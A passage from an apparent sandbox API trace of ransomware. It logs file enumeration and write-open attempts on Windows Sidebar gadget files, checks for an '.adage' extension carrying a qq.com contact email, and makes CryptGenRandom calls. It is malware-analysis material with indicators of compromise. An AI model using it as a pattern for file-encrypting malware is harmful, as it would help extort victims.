lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.508] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=255) returned 1 [0064.508] CloseHandle (hObject=0x1ac) returned 1 [0064.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Empty.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_empty.png")) returned 0x20 [0064.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Empty.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_empty.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Empty.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_empty.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.509] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Full.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_full.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.509] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=252) returned 1 [0064.509] CloseHandle (hObject=0x1ac) returned 1 [0064.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Full.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_full.png")) returned 0x20 [0064.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Full.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_full.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Full.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_full.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.509] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Half.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_half.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.510] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=260) returned 1 [0064.510] CloseHandle (hObject=0x1ac) returned 1 [0064.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Half.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_half.png")) returned 0x20 [0064.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Half.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_half.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Star_Half.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_star_half.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.510] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Waitcursor.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_waitcursor.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.510] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4857) returned 1 [0064.511] CloseHandle (hObject=0x1ac) returned 1 [0064.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Waitcursor.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_waitcursor.gif")) returned 0x20 [0064.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Waitcursor.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_waitcursor.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Waitcursor.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_waitcursor.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.511] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_WMC_LogoText.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_wmc_logotext.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.511] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1011) returned 1 [0064.511] CloseHandle (hObject=0x1ac) returned 1 [0064.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_WMC_LogoText.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_wmc_logotext.png")) returned 0x20 [0064.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_WMC_LogoText.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_wmc_logotext.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_WMC_LogoText.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_wmc_logotext.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.512] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\logo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.512] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3389) returned 1 [0064.512] CloseHandle (hObject=0x1ac) returned 1 [0064.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\logo.png")) returned 0x20 [0064.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\logo.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\logo.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.512] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\main_background.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\main_background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.513] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=12071) returned 1 [0064.513] CloseHandle (hObject=0x1ac) returned 1 [0064.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\main_background.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\main_background.png")) returned 0x20 [0064.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\main_background.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\main_background.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\main_background.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\main_background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.513] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\main.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js\\main.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.513] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=60636) returned 1 [0064.513] CloseHandle (hObject=0x1ac) returned 1 [0064.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\main.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js\\main.js")) returned 0x20 [0064.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\main.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js\\main.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\main.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js\\main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.514] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js\\settings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.514] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=29096) returned 1 [0064.514] CloseHandle (hObject=0x1ac) returned 1 [0064.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js\\settings.js")) returned 0x20 [0064.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\settings.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js\\settings.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js\\settings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.515] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\main.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\main.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.515] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=10574) returned 1 [0064.515] CloseHandle (hObject=0x1ac) returned 1 [0064.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\main.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\main.html")) returned 0x20 [0064.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\main.html.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\main.html.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\main.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\main.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.515] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\settings.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.516] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=22626) returned 1 [0064.516] CloseHandle (hObject=0x1ac) returned 1 [0064.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\settings.html")) returned 0x20 [0064.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\settings.html.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\settings.html.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\settings.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\settings.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.516] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\drag.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0064.517] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=31315) returned 1 [0064.517] CloseHandle (hObject=0x1b4) returned 1 [0064.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\drag.png")) returned 0x20 [0064.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\drag.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\drag.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\drag.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.519] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\picturePuzzle.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\picturepuzzle.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.950] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4466) returned 1 [0064.950] CloseHandle (hObject=0x180) returned 1 [0064.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\picturePuzzle.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\picturepuzzle.css")) returned 0x20 [0064.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\picturePuzzle.css.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\picturepuzzle.css.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\picturePuzzle.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\picturepuzzle.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.951] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.953] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1010) returned 1 [0064.953] CloseHandle (hObject=0x180) returned 1 [0064.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\gadget.xml")) returned 0x20 [0064.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\gadget.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.953] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\picturePuzzle.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js\\picturepuzzle.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.954] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=47778) returned 1 [0064.954] CloseHandle (hObject=0x180) returned 1 [0064.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\picturePuzzle.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js\\picturepuzzle.js")) returned 0x20 [0064.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\picturePuzzle.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js\\picturepuzzle.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\picturePuzzle.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js\\picturepuzzle.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.954] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js\\settings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.956] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=9854) returned 1 [0064.956] CloseHandle (hObject=0x180) returned 1 [0064.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js\\settings.js")) returned 0x20 [0064.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\settings.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js\\settings.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows 